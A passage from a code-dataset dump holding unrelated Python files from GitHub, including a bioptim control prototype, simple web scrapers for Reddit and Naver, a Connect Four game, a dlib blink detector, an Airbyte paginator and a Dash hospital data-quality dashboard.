load_events.LoadTask(task=task, model=Models.WU_INVERSE_KINEMATICS_XYZ_OFFSET)\n\n model = NewModel(model=Models.WU_WITHOUT_FLOATING_BASE_OFFSET_VARIABLES)\n model.add_header(model_template=Models.WU_WITHOUT_FLOATING_BASE_OFFSET_TEMPLATE, q_file_path=task_files.q_file_path)\n\n biorbd_model = biorbd.Model(model.model_path)\n bioptim_model = BiorbdModel(model.model_path)\n\n # get key events\n event = load_events.LoadEvent(task=task, marker_list=bioptim_model.marker_names)\n data = load_experimental_data.LoadData(\n model=biorbd_model,\n c3d_file=task_files.c3d_path,\n q_file=task_files.q_file_path,\n qdot_file=task_files.qdot_file_path,\n )\n\n target = data.get_marker_ref(\n number_shooting_points=[n_shooting_points],\n phase_time=[event.phase_time() + np.random.rand(1)[0] * 0.001],\n markers_names=[\"ULNA\", \"RADIUS\", \"SEML\", \"MET2\", \"MET5\"],\n start=event.start_frame(),\n end=event.end_frame(),\n )\n\n # load initial guesses\n q_ref, qdot_ref, tau_ref = data.get_variables_ref(\n number_shooting_points=[n_shooting_points],\n phase_time=[event.phase_time() + np.random.rand(1)[0] * 0.001],\n start=event.start_frame(),\n end=event.end_frame(),\n )\n x_init_ref = np.concatenate([q_ref[0][6:, :], qdot_ref[0][6:, :]]) # without floating base\n u_init_ref = tau_ref[0][6:, :]\n\n # optimal control program\n my_ocp = prepare_ocp(\n biorbd_model_path=model.model_path,\n x_init_ref=x_init_ref,\n u_init_ref=u_init_ref,\n target=target[0],\n n_shooting=n_shooting_points,\n use_sx=False,\n n_threads=4,\n phase_time=1.05, # to handle numerical error\n )\n\n # add figures of constraints and objectives\n my_ocp.add_plot_penalty(CostType.ALL)\n\n # --- Solve the program --- #\n solver = Solver.IPOPT(show_online_optim=False, show_options=dict(show_bounds=True))\n solver.set_linear_solver(\"mumps\")\n solver.set_maximum_iterations(nb_iteration)\n sol = my_ocp.solve(solver)\n # sol.print_cost()\n\n # --- Plot --- #\n # sol.graphs(show_bounds=True)\n\n sol.animate(n_frames=100)\n\n\nif __name__ == \"__main__\":\n main(Tasks.TEETH)\n # main(Tasks.DRINK)\n # main(Tasks.HEAD)\n # main(Tasks.ARMPIT)\n # main(Tasks.EAT)\n","repo_name":"Ipuch/bioptim_exo","sub_path":"kinova_ocp/prototype.py","file_name":"prototype.py","file_ext":"py","file_size_in_byte":6070,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"35"} +{"seq_id":"608164070","text":"import requests\nfrom bs4 import BeautifulSoup\n\nURL = \"https://www.reddit.com/r/news/\"\n# URL = \"https://www.indeed.com/\"\n# URL = \"https://www.indeed.com/jobs?q=software+developer&l=&from=searchOnHP&vjk=8acc01383db49893\"\nHEADERS ={\"User-Agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0\", \"Accept-Encoding\":\"gzip, deflate\", \"Accept\":\"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\", \"DNT\":\"1\",\"Connection\":\"close\", \"Upgrade-Insecure-Requests\":\"1\"}\n\npage = requests.get(URL, headers=HEADERS);\nsoup = BeautifulSoup(page.text, \"html.parser\")\nresults = soup.find_all('h3')\ndata_str = [] \nfor item in results:\n print(' - - - Item - - ', item, ' - - - - text - - - ', item.text)\n data_str.append(item.get_text())\n\nprint(data_str)\n\n# Run every hour, to get top 7 news postings on reddit \n# Cataegorize post titles and then map general public intersest in news?","repo_name":"ShinichiM/scrapy","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":911,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"38240688373","text":"import arcade\nimport time\n\nWIDTH = 50\n\n\n\ngrid = [\n [0, 0, 0, 0, 0, 0],\n [0, 0, 0, 0, 0, 0],\n [0, 0, 0, 0, 0, 0],\n [0, 0, 0, 0, 0, 0],\n [0, 0, 0, 0, 0, 0],\n [0, 0, 0, 0, 0, 0]\n]\nSCREEN_WIDTH = 600\nSCREEN_HEIGHT = 600\nSCREEN_TITLE = \"Connect Four\"\n\n\ncurr = True\n\n\nx_chips = [0]*len(grid)\n\ndef switchTeam(x):\n global curr\n if curr:\n grid[0][x] = 1\n curr = False\n else:\n grid[0][x] = 2\n curr = True\n\n\n\nclass MyGame(arcade.Window):\n \"\"\" Main application class. \"\"\"\n\n def __init__(self):\n super().__init__(SCREEN_WIDTH, SCREEN_HEIGHT, SCREEN_TITLE)\n self.shape_list = None\n self.radius = 20\n\n\n def update(self, dt):\n \"\"\" Move everything \"\"\"\n index = len(grid[0])-1\n # for i in range(len(grid)):\n # if grid[i][index] == 1 and grid[i][index-1] != 0:\n # continue\n # else:\n # grid[i][index] = 0\n # grid[i][index-1] = 1\n\n\n def on_key_press(self, symbol: int, modifiers: int):\n keys = [49 + i for i in range(len(grid[0]))]\n for i in range(len(keys)):\n if symbol == keys[i] and grid[0][i] == 0:\n switchTeam(i)\n\n def win():\n boardHeight = len(grid[0])\n boardWidth = len(grid)\n tile = 2 if curr else 1\n\n # check horizontal spaces\n for y in range(boardHeight):\n for x in range(boardWidth - 3):\n if tile != 0 and grid[x][y] == tile and grid[x + 1][y] == tile and grid[x + 2][y] == tile and \\\n grid[x + 3][\n y] == tile:\n team(curr)\n return True\n\n # check vertical spaces\n for x in range(boardWidth):\n for y in range(boardHeight - 3):\n if tile != 0 and grid[x][y] == tile and grid[x][y + 1] == tile and grid[x][y + 2] == tile and grid[x][\n y + 3] == tile:\n team(curr)\n return True\n\n\n def on_draw(self):\n \"\"\"\n Render the screen.\n \"\"\"\n arcade.start_render()\n margin_x = SCREEN_WIDTH//2 - WIDTH*2\n margin_y = SCREEN_HEIGHT//2 - WIDTH*2\n for i in range(len(grid)):\n for j in range(len(grid[i])):\n x_chips[i] = (margin_x + i*WIDTH)\n arcade.draw_rectangle_filled( margin_x+ i*WIDTH,margin_y + j *WIDTH,WIDTH, WIDTH, arcade.color.WHITE)\n if grid[i][j] == 0:\n arcade.draw_circle_filled(margin_x + i*WIDTH, margin_y + j*WIDTH, WIDTH//2, arcade.color.BLACK)\n if grid[i][j] == 1:\n arcade.draw_circle_filled(margin_x + i*WIDTH, margin_y + j*WIDTH, WIDTH//2, arcade.color.RED)\n if grid[i][j] == 2:\n arcade.draw_circle_filled(margin_x + i*WIDTH, margin_y + j*WIDTH, WIDTH//2, arcade.color.BLUE)\n\n\n\ndef main():\n window = MyGame()\n arcade.run()\n\n\nif __name__ == \"__main__\":\n\n main()\n print(x_chips)","repo_name":"StRobertCHSCS/final-project-ariba-sherry","sub_path":"connect_4_pt2.py","file_name":"connect_4_pt2.py","file_ext":"py","file_size_in_byte":3036,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"8793844798","text":"from imutils import face_utils\nfrom scipy.spatial import distance as dist\nimport numpy as np\nimport argparse\nimport imutils,time\nimport dlib\nimport cv2\nfrom io import BytesIO\nimport base64\nfrom PIL import Image\nimport threading\nfrom time import sleep\nimport binascii\n\n########################################################\n\n(lStart, lEnd) = face_utils.FACIAL_LANDMARKS_IDXS[\"left_eye\"]\n(rStart, rEnd) = face_utils.FACIAL_LANDMARKS_IDXS[\"right_eye\"]\nEYE_AR_THRESH = 0.19\nEYE_AR_CONSEC_FRAMES = 6\n\n########################################################\n\nclass blinkDetect():\n\n def __init__(self):\n\n self.predict_path='shape_predictor_68_face_landmarks.dat'\n self.faceDetector = dlib.get_frontal_face_detector()\n self.flmDetector = dlib.shape_predictor(self.predict_path)\n self.closedEyeFrame = 0\n self.totalBlink = 0\n self.ear = 0\n self.to_process = []\n self.to_output = []\n\n###############################################################\n\n def pil_image_to_base64(self,pil_image):\n buf = BytesIO()\n pil_image.save(buf, format=\"JPEG\")\n return base64.b64encode(buf.getvalue())\n\n\n def base64_to_pil_image(self,base64_img):\n return Image.open(BytesIO(base64.b64decode(base64_img)))\n\n \n##########################################################\n \n\n def eye_aspect_ratio(self,eye):\n # compute the euclidean distances between the two sets of\n # vertical eye landmarks (x, y)-coordinates\n A = dist.euclidean(eye[1], eye[5])\n B = dist.euclidean(eye[2], eye[4])\n \n # compute the euclidean distance between the horizontal\n # eye landmark (x, y)-coordinates\n C = dist.euclidean(eye[0], eye[3])\n \n # compute the eye aspect ratio\n ear = (A + B) / (2.0 * C)\n \n # return the eye aspect ratio\n return ear\n\n#################################################################\n\n\n def processFrame(self,frame):\n \n frame = imutils.resize(frame, height=200,width=300)\n gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n rects = self.faceDetector(gray, 1)\n \n for (i, rect) in enumerate(rects):\n \n shape = self.flmDetector(gray, rect)\n shape = face_utils.shape_to_np(shape)\n \n leftEye = shape[lStart:lEnd]\n rightEye = shape[rStart:rEnd]\n\n leftEAR = self.eye_aspect_ratio(leftEye)\n rightEAR = self.eye_aspect_ratio(rightEye)\n \n self.ear = (leftEAR + rightEAR) / 2.0\n \n \n leftEyeHull = cv2.convexHull(leftEye)\n rightEyeHull = cv2.convexHull(rightEye)\n\n cv2.drawContours(frame, [leftEyeHull], -1, (0, 255, 0), 1)\n cv2.drawContours(frame, [rightEyeHull], -1, (0, 255, 0), 1)\n\n \n if self.ear < EYE_AR_THRESH:\n self.closedEyeFrame += 1 \n \n else: \n if self.closedEyeFrame >= EYE_AR_CONSEC_FRAMES:\n self.totalBlink += 1 \n \n self.closedEyeFrame = 0 \n \n return frame\n\n\n\n################################################################\n\n def blink_detect (self):\n \n if not self.to_process:\n return\n\n #-----------------------------------------\n\n # Conversion of image str to opencv image\n input_str = self.to_process.pop(0)\n input_img = self.base64_to_pil_image(input_str)\n\n frame = input_img\n\n pil_image = frame.convert('RGB')\n opencvImage = np.array(pil_image)\n #----------------------------------------------------#\n\n frame=self.processFrame(opencvImage)\n\n frame=cv2.flip(frame,1) \n \n #--Textual information on frame--------------\n # cv2.putText(frame, \"Blinks: {}\".format(self.totalBlink), (10, 30),\n # cv2.FONT_HERSHEY_SIMPLEX, 0.7, (0, 0, 255), 2)\n # cv2.putText(frame, \"EAR: {:.2f}\".format(self.ear), (150, 30),\n # cv2.FONT_HERSHEY_SIMPLEX, 0.7, (0, 0, 255), 2)\n #---------------------------------------------\n\n #Conversion of opencv image back to string--------------\n frame = Image.fromarray(frame)\n\n output_str = self.pil_image_to_base64(frame)\n op = binascii.a2b_base64(output_str)\n #-------------------------------------------------------\n\n self.to_output.append(op)\n\n##########################################################################\n\n def enqueue_input(self, input):\n self.to_process.append(input)\n self.blink_detect()\n\n###########################################################################\n\n def get_frame(self):\n while not self.to_output:\n sleep(0.05)\n return self.to_output.pop(0)\n","repo_name":"viky08/Eye-Blink-Gaze-Detection-For-LIS-patients","sub_path":"face_detection.py","file_name":"face_detection.py","file_ext":"py","file_size_in_byte":4888,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"} +{"seq_id":"29899689737","text":"import urllib.request\nfrom bs4 import BeautifulSoup\n\n\n#크롤링, url을가져오고 그것을 분석한다음에, 분석을 한것에서 원하는 것만 저장\n\n\nurl= 'https://search.naver.com/search.naver?where=post&sm=tab_jum&query=%ED%8C%8C%EC%9D%B4%EC%8D%AC'\n\nhtml=urllib.request.urlopen(url).read() #html을 가져올수있다.\n\nsoup = BeautifulSoup(html,'html.parser') #뷰티풀숩으로 분석. 여기까지 기본적 준비끝\n\n\n#네이버 블로그 검색시 나오는 타이틀과 url을 전부 가져올것임\n\ntitle=soup.find_all(class_='sh_blog_title') #네이버 블로그제목에 들어있는클래스(f12로 확인)\n\n#print(len(title)) #블로그탭에 나온 갯수 10개\n\n\n\n\nfor i in title:\n print(i.attrs['title']) #attrs를 넣으면 속성값을 볼수있음\n print(i.attrs['href'])\n print()\n\n\n#위 코드는 url을 고정으로 넣었음. (문제점)\n\n\n#출처\n#https://www.youtube.com/watch?v=hKApZHK_fOQ\n\n\n\n\n\n","repo_name":"glennneiger/Web_Crawling","sub_path":"Crawling_1.py","file_name":"Crawling_1.py","file_ext":"py","file_size_in_byte":947,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"20186180321","text":"from dataclasses import InitVar, dataclass\nfrom typing import Any, List, Mapping, Optional, Union\n\nimport requests\nfrom airbyte_cdk.sources.declarative.decoders.decoder import Decoder\nfrom airbyte_cdk.sources.declarative.decoders.json_decoder import JsonDecoder\nfrom airbyte_cdk.sources.declarative.interpolation.interpolated_string import InterpolatedString\nfrom airbyte_cdk.sources.declarative.requesters.paginators.paginator import Paginator\nfrom airbyte_cdk.sources.declarative.requesters.paginators.strategies.pagination_strategy import PaginationStrategy\nfrom airbyte_cdk.sources.declarative.requesters.request_option import RequestOption, RequestOptionType\nfrom airbyte_cdk.sources.declarative.requesters.request_path import RequestPath\nfrom airbyte_cdk.sources.declarative.types import Config, Record, StreamSlice, StreamState\n\n\n@dataclass\nclass DefaultPaginator(Paginator):\n \"\"\"\n Default paginator to request pages of results with a fixed size until the pagination strategy no longer returns a next_page_token\n\n Examples:\n 1.\n * fetches up to 10 records at a time by setting the \"limit\" request param to 10\n * updates the request path with \"{{ response._metadata.next }}\"\n ```\n paginator:\n type: \"DefaultPaginator\"\n page_size_option:\n type: RequestOption\n inject_into: request_parameter\n field_name: limit\n page_token_option:\n type: RequestPath\n path: \"location\"\n pagination_strategy:\n type: \"CursorPagination\"\n cursor_value: \"{{ response._metadata.next }}\"\n page_size: 10\n ```\n\n 2.\n * fetches up to 5 records at a time by setting the \"page_size\" header to 5\n * increments a record counter and set the request parameter \"offset\" to the value of the counter\n ```\n paginator:\n type: \"DefaultPaginator\"\n page_size_option:\n type: RequestOption\n inject_into: header\n field_name: page_size\n pagination_strategy:\n type: \"OffsetIncrement\"\n page_size: 5\n page_token_option:\n option_type: \"request_parameter\"\n field_name: \"offset\"\n ```\n\n 3.\n * fetches up to 5 records at a time by setting the \"page_size\" request param to 5\n * increments a page counter and set the request parameter \"page\" to the value of the counter\n ```\n paginator:\n type: \"DefaultPaginator\"\n page_size_option:\n type: RequestOption\n inject_into: request_parameter\n field_name: page_size\n pagination_strategy:\n type: \"PageIncrement\"\n page_size: 5\n page_token_option:\n type: RequestOption\n option_type: \"request_parameter\"\n field_name: \"page\"\n ```\n Attributes:\n page_size_option (Optional[RequestOption]): the request option to set the page size. Cannot be injected in the path.\n page_token_option (Optional[RequestPath, RequestOption]): the request option to set the page token\n pagination_strategy (PaginationStrategy): Strategy defining how to get the next page token\n config (Config): connection config\n url_base (Union[InterpolatedString, str]): endpoint's base url\n decoder (Decoder): decoder to decode the response\n \"\"\"\n\n pagination_strategy: PaginationStrategy\n config: Config\n url_base: Union[InterpolatedString, str]\n parameters: InitVar[Mapping[str, Any]]\n decoder: Decoder = JsonDecoder(parameters={})\n page_size_option: Optional[RequestOption] = None\n page_token_option: Optional[Union[RequestPath, RequestOption]] = None\n\n def __post_init__(self, parameters: Mapping[str, Any]):\n if self.page_size_option and not self.pagination_strategy.get_page_size():\n raise ValueError(\"page_size_option cannot be set if the pagination strategy does not have a page_size\")\n if isinstance(self.url_base, str):\n self.url_base = InterpolatedString(string=self.url_base, parameters=parameters)\n self._token = self.pagination_strategy.initial_token\n\n def next_page_token(self, response: requests.Response, last_records: List[Record]) -> Optional[Mapping[str, Any]]:\n self._token = self.pagination_strategy.next_page_token(response, last_records)\n if self._token:\n return {\"next_page_token\": self._token}\n else:\n return None\n\n def path(self):\n if self._token and self.page_token_option and isinstance(self.page_token_option, RequestPath):\n # Replace url base to only return the path\n return str(self._token).replace(self.url_base.eval(self.config), \"\")\n else:\n return None\n\n def get_request_params(\n self,\n *,\n stream_state: Optional[StreamState] = None,\n stream_slice: Optional[StreamSlice] = None,\n next_page_token: Optional[Mapping[str, Any]] = None,\n ) -> Mapping[str, Any]:\n return self._get_request_options(RequestOptionType.request_parameter)\n\n def get_request_headers(\n self,\n *,\n stream_state: Optional[StreamState] = None,\n stream_slice: Optional[StreamSlice] = None,\n next_page_token: Optional[Mapping[str, Any]] = None,\n ) -> Mapping[str, str]:\n return self._get_request_options(RequestOptionType.header)\n\n def get_request_body_data(\n self,\n *,\n stream_state: Optional[StreamState] = None,\n stream_slice: Optional[StreamSlice] = None,\n next_page_token: Optional[Mapping[str, Any]] = None,\n ) -> Mapping[str, Any]:\n return self._get_request_options(RequestOptionType.body_data)\n\n def get_request_body_json(\n self,\n *,\n stream_state: Optional[StreamState] = None,\n stream_slice: Optional[StreamSlice] = None,\n next_page_token: Optional[Mapping[str, Any]] = None,\n ) -> Mapping[str, Any]:\n return self._get_request_options(RequestOptionType.body_json)\n\n def reset(self):\n self.pagination_strategy.reset()\n self._token = None\n\n def _get_request_options(self, option_type: RequestOptionType) -> Mapping[str, Any]:\n options = {}\n\n if (\n self.page_token_option\n and self._token is not None\n and isinstance(self.page_token_option, RequestOption)\n and self.page_token_option.inject_into == option_type\n ):\n options[self.page_token_option.field_name] = self._token\n if self.page_size_option and self.pagination_strategy.get_page_size() and self.page_size_option.inject_into == option_type:\n options[self.page_size_option.field_name] = self.pagination_strategy.get_page_size()\n return options\n\n\nclass PaginatorTestReadDecorator(Paginator):\n \"\"\"\n In some cases, we want to limit the number of requests that are made to the backend source. This class allows for limiting the number of\n pages that are queried throughout a read command.\n \"\"\"\n\n _PAGE_COUNT_BEFORE_FIRST_NEXT_CALL = 1\n\n def __init__(self, decorated, maximum_number_of_pages: int = 5):\n if maximum_number_of_pages and maximum_number_of_pages < 1:\n raise ValueError(f\"The maximum number of pages on a test read needs to be strictly positive. Got {maximum_number_of_pages}\")\n self._maximum_number_of_pages = maximum_number_of_pages\n self._decorated = decorated\n self._page_count = self._PAGE_COUNT_BEFORE_FIRST_NEXT_CALL\n\n def next_page_token(self, response: requests.Response, last_records: List[Record]) -> Optional[Mapping[str, Any]]:\n if self._page_count >= self._maximum_number_of_pages:\n return None\n\n self._page_count += 1\n return self._decorated.next_page_token(response, last_records)\n\n def path(self):\n return self._decorated.path()\n\n def get_request_params(\n self,\n *,\n stream_state: Optional[StreamState] = None,\n stream_slice: Optional[StreamSlice] = None,\n next_page_token: Optional[Mapping[str, Any]] = None,\n ) -> Mapping[str, Any]:\n return self._decorated.get_request_params(stream_state=stream_state, stream_slice=stream_slice, next_page_token=next_page_token)\n\n def get_request_headers(\n self,\n *,\n stream_state: Optional[StreamState] = None,\n stream_slice: Optional[StreamSlice] = None,\n next_page_token: Optional[Mapping[str, Any]] = None,\n ) -> Mapping[str, str]:\n return self._decorated.get_request_headers(stream_state=stream_state, stream_slice=stream_slice, next_page_token=next_page_token)\n\n def get_request_body_data(\n self,\n *,\n stream_state: Optional[StreamState] = None,\n stream_slice: Optional[StreamSlice] = None,\n next_page_token: Optional[Mapping[str, Any]] = None,\n ) -> Mapping[str, Any]:\n return self._decorated.get_request_body_data(stream_state=stream_state, stream_slice=stream_slice, next_page_token=next_page_token)\n\n def get_request_body_json(\n self,\n *,\n stream_state: Optional[StreamState] = None,\n stream_slice: Optional[StreamSlice] = None,\n next_page_token: Optional[Mapping[str, Any]] = None,\n ) -> Mapping[str, Any]:\n return self._decorated.get_request_body_json(stream_state=stream_state, stream_slice=stream_slice, next_page_token=next_page_token)\n\n def reset(self):\n self._decorated.reset()\n self._page_count = self._PAGE_COUNT_BEFORE_FIRST_NEXT_CALL\n","repo_name":"airbytehq/airbyte","sub_path":"airbyte-cdk/python/airbyte_cdk/sources/declarative/requesters/paginators/default_paginator.py","file_name":"default_paginator.py","file_ext":"py","file_size_in_byte":9734,"program_lang":"python","lang":"en","doc_type":"code","stars":12323,"dataset":"github-code","pt":"35"} +{"seq_id":"21382283562","text":"\"\"\"\nРеализовать функцию my_func(),\nкоторая принимает три позиционных аргумента, и возвращает сумму наибольших двух аргументов.\n\"\"\"\n\n\ndef my_func(arg_a, arg_b, arg_c):\n if arg_a >= arg_b:\n if arg_b >= arg_c:\n return arg_a + arg_b\n else:\n return arg_a + arg_c\n elif arg_a >= arg_c:\n return arg_a + arg_b\n else:\n return arg_b + arg_c\n\n\nprint(f\"Сумма двух наибольших чисел из '15' 20' '30' равна: {my_func(15, 20, 30)}\")\n\n","repo_name":"mukhinvictor777/gb_python_homework_3","sub_path":"task3.py","file_name":"task3.py","file_ext":"py","file_size_in_byte":605,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"1806066683","text":"import itertools\nimport math\n\ndef is_prime(num):\n\tfor n in range(2, int(math.sqrt(num) + 1)):\n\t\tif num % n == 0:\n\t\t\treturn False\n\treturn True\n\ndef solution(nums):\n\tanswer = 0\n\tfor n1, n2, n3 in list(itertools.combinations(nums, 3)):\t\t\n\t\tif is_prime(sum([n1, n2, n3])):\n\t\t\tanswer += 1\n\n\treturn answer\n\nif __name__ == '__main__':\n\tprint(solution([1,2,3,4]))\n\tprint(solution([1,2,7,6,4]))","repo_name":"pray92/practice-algorithm","sub_path":"VSCode/Python/make_prime.py","file_name":"make_prime.py","file_ext":"py","file_size_in_byte":385,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"28812413259","text":"import dash\nfrom dash import html\nfrom dash import dcc\nimport dash_bootstrap_components as dbc\nfrom dash.dependencies import Input, Output\n\nfrom server import app\n\nfrom views.db_connect import db_conn_page\nfrom views.data_general_situation import data_general_situation_page\nfrom views.data_overall import data_overall_page\nfrom views.data_oper2 import data_oper2_page\nfrom views.data_temp import data_temp_page\nfrom views.data_adt import data_adt_page\nfrom views.data_bar import data_bar_page\nfrom views.data_drug import data_drug_page\nfrom views.data_anti import data_anti_page\nfrom views.data_rout import data_rout_page\nfrom views.data_exam import data_exam_page\n\napp.layout = html.Div(\n [\n # 存储当前连接用户信息\n dcc.Store(id='db_con_url', storage_type='session'),\n # 存储当前统计时段信息\n dcc.Store(id='count_time', storage_type='session'),\n\n # 概览页面数据存储\n dcc.Store(id='general_situation_first_level_first_fig_data', storage_type='session'),\n dcc.Store(id='general_situation_first_level_second_fig_data', storage_type='session'),\n dcc.Store(id='general_situation_first_level_third_fig_data', storage_type='session'),\n dcc.Store(id='general_situation_secod_level_fig_data', storage_type='session'),\n dcc.Store(id='general_situation_third_level_first_fig_data', storage_type='session'),\n dcc.Store(id='general_situation_third_level_second_fig_data', storage_type='session'),\n dcc.Store(id='general_situation_third_level_second_fig_data1', storage_type='session'),\n\n # 抗菌药物、菌检出、药敏页面数据存储\n dcc.Store(id='anti_bar_drug_first_level_first_fig_data', storage_type='session'),\n dcc.Store(id='anti_bar_drug_first_level_second_fig_data', storage_type='session'),\n dcc.Store(id='anti_second_level_first_fig_data', storage_type='session'),\n dcc.Store(id='anti_second_level_second_fig_data', storage_type='session'),\n dcc.Store(id='anti_second_level_third_fig_data', storage_type='session'),\n dcc.Store(id='bar_third_level_first_fig_data', storage_type='session'),\n dcc.Store(id='bar_third_level_second_fig_data', storage_type='session'),\n dcc.Store(id='drug_fourth_level_first_fig_data', storage_type='session'),\n dcc.Store(id='drug_fourth_level_second_fig_data', storage_type='session'),\n\n # 手术数据存储\n dcc.Store(id='oper2_first_level_first_fig_data', storage_type='session'),\n dcc.Store(id='oper2_first_level_second_fig_data', storage_type='session'),\n dcc.Store(id='oper2_second_level_first_fig_data', storage_type='session'),\n dcc.Store(id='oper2_second_level_second_fig_data', storage_type='session'),\n dcc.Store(id='oper2_second_level_third_fig_data', storage_type='session'),\n\n # 常规检验数据存储\n dcc.Store(id='rout_exam_temp_first_level_first_fig_data', storage_type='session'),\n dcc.Store(id='rout_exam_temp_first_level_second_fig_data', storage_type='session'),\n dcc.Store(id='temp_second_level_first_fig_data', storage_type='session'),\n dcc.Store(id='rout_third_level_first_fig_data', storage_type='session'),\n dcc.Store(id='rout_third_level_second_fig_data', storage_type='session'),\n dcc.Store(id='exam_fourth_level_first_fig_data', storage_type='session'),\n dcc.Store(id='exam_fourth_level_second_fig_data', storage_type='session'),\n\n # 监听url变化\n dcc.Location(id='url'),\n html.Div(\n [\n # 最上方系统log栏\n dbc.NavbarSimple(\n brand=\"数据质量明细\",\n brand_href=\"/dash/\",\n brand_style={\"font-family\": \"Roboto\",\n \"font-size\": \"x-large\",\n \"font-weight\": \"600\",\n \"letter-spacing\": \"2.5px\",\n \"color\": \"#606060\",\n },\n color=\"#F9F9F9\",\n dark=True,\n fluid=True,\n style={\"box-shadow\": \"0 2px 5px 0 rgb(0 0 0 / 26%)\", \"margin-bottom\": \"5px\"},\n ),\n dbc.Row(\n [\n # 左侧菜单栏\n dbc.Col(\n dbc.Row(\n [\n dbc.ListGroup(\n [\n dbc.ListGroupItem(\"数据库连接\",id='db_connect', href=\"/dash/db_connect\",color=\"primary\"),\n dbc.ListGroupItem(\"数据明细概况\", id='data_general_situation', href=\"/dash/data_general_situation\"),\n dbc.ListGroupItem(\"抗菌药物/菌检出/药敏\", id='data_anti', href=\"/dash/data_anti\"),\n dbc.ListGroupItem(\"手术\",id='data_oper2', href=\"/dash/data_oper2\" ),\n dbc.ListGroupItem(\"生化/体温/检查\",id='data_rout', href=\"/dash/data_rout\" ),\n\n # dbc.ListGroupItem(\"患者人数\",id='data_overall', href=\"/dash/data_overall\" ),\n # dbc.ListGroupItem(\"体温\",id='data_temp', href=\"/dash/data_temp\" ),\n # dbc.ListGroupItem(\"入出转\",id='data_adt', href=\"/dash/data_adt\" ),\n # dbc.ListGroupItem(\"菌检出\",id='data_bar', href=\"/dash/data_bar\" ),\n # dbc.ListGroupItem(\"药敏\",id='data_drug', href=\"/dash/data_drug\" ),\n # dbc.ListGroupItem(\"生化\",id='data_rout', href=\"/dash/data_rout\" ),\n # dbc.ListGroupItem(\"检查\",id='data_exam', href=\"/dash/data_exam\" ),\n ], flush=True,\n style={\n 'padding': '1.5rem 1rem',\n 'text-align': 'center',\n 'letter-spacing': '0.05rem',\n 'font-weight': '800',\n 'width': '100%',\n 'height': '10%',\n }\n ),\n dbc.ListGroup(\n [\n dbc.ListGroupItem(\n [\n dbc.Label(html.B(\"统计时段:\", style={'font-size': 'large'}),\n id=\"count-time\",\n style={'display': 'flex', 'margin-left': '-15px'}),\n dbc.Row(\n [\n dbc.Col(dbc.Label('开始时间:', style={'font-size': 'smaller'}),width=4,style={'margin-left':'0px','margin-right':'0px','padding-left':'0px','padding-right':'0px',}),\n dbc.Col(dcc.Input(type='date', id='btime',style={'text-align':'center'}),width=8,style={'margin-left':'0px','margin-right':'0px','padding-left':'0px','padding-right':'0px',}),\n ], justify='center',\n style={'display': 'flex', 'align-items': 'center',\n 'margin-top': '20px'}\n ),\n dbc.Row(\n [\n dbc.Col(dbc.Label('结束时间:', style={'font-size': 'smaller'}),width=4,style={'margin-left':'0px','margin-right':'0px','padding-left':'0px','padding-right':'0px',}),\n dbc.Col(dcc.Input(type='date', id='etime',style={'text-align':'center'}),width=8,style={'margin-left':'0px','margin-right':'0px','padding-left':'0px','padding-right':'0px',}),\n ], justify='center',\n style={'display': 'flex', 'align-items': 'center', 'margin-top': '5px'}\n ),\n ], style={'background-color': 'aliceblue'}\n ),\n dbc.ListGroupItem(dbc.Button('提交', id='data-chioce-sub'),\n style={'background-color': 'aliceblue'})\n\n ], flush=True,\n style={\n 'padding': '1.5rem 1rem',\n 'text-align': 'center',\n 'letter-spacing': '0.05rem',\n 'font-weight': '800',\n 'width': '100%',\n 'height': '40%',\n }\n ),\n ], style={\"height\": '100%',\n 'background-color': 'aliceblue',\n \"box-shadow\": \"0 2px 5px 0 rgb(0 0 0 / 26%)\",\n \"margin\": \"0px 2px 0px -2px\",\n \"display\": 'flex'\n }\n ), className='col-sm-2 col-md-2 sidebar',\n style={\"height\": '860px', }),\n # style={\"height\": '500px', }),\n # 右侧展示栏\n dbc.Col(\n [\n dbc.Row(html.Br()),\n # dbc.Row(html.Br()),\n dbc.Row(id = 'data-show',style={\"justify\":\"center\"})\n ], className='col-sm-10 col-sm-offset-3 col-md-10 col-md-offset-2 main',\n style={\"box-shadow\": \"0 2px 5px 0 rgb(0 0 0 / 26%)\", }\n ),\n ], className=\"container-fluid\", )\n ]\n )\n ]\n)\n\n\n# 路由总控\n@app.callback(\n [Output('data-show', 'children'),\n Output('db_connect', 'color'),\n Output('data_general_situation', 'color'),\n Output('data_anti', 'color'),\n Output('data_oper2', 'color'),\n Output('data_rout', 'color'),],\n Input('url', 'pathname')\n)\ndef render_page_content(pathname):\n color_dic={ 'rount_page':'',\n 'db_connect':'',\n 'data_general_situation':'',\n 'data_anti':'',\n 'data_oper2':'',\n 'data_rout':'',\n }\n if pathname is None:\n pathname = \"/dash/\"\n if pathname.endswith(\"/dash/\") or pathname.endswith(\"/db_connect\"):\n color_dic['rount_page'] = db_conn_page\n color_dic['db_connect'] = 'primary'\n return list(color_dic.values())\n elif pathname.endswith(\"/data_general_situation\") :\n color_dic['rount_page'] = data_general_situation_page\n color_dic['data_general_situation'] = 'primary'\n return list(color_dic.values())\n elif pathname.endswith(\"/data_anti\") :\n color_dic['rount_page'] = data_anti_page\n color_dic['data_anti'] = 'primary'\n return list(color_dic.values())\n elif pathname.endswith(\"/data_oper2\") :\n color_dic['rount_page'] = data_oper2_page\n color_dic['data_oper2'] = 'primary'\n return list(color_dic.values())\n elif pathname.endswith(\"/data_rout\") :\n color_dic['rount_page'] = data_rout_page\n color_dic['data_rout'] = 'primary'\n return list(color_dic.values())\n else:\n return html.H1('您访问的页面不存在!')\n\nif __name__ == '__main__':\n # app.run_server(host='10.0.68.111',debug=False,port=8081, workers = 10)\n app.run_server(debug=False,port=8081)\n # 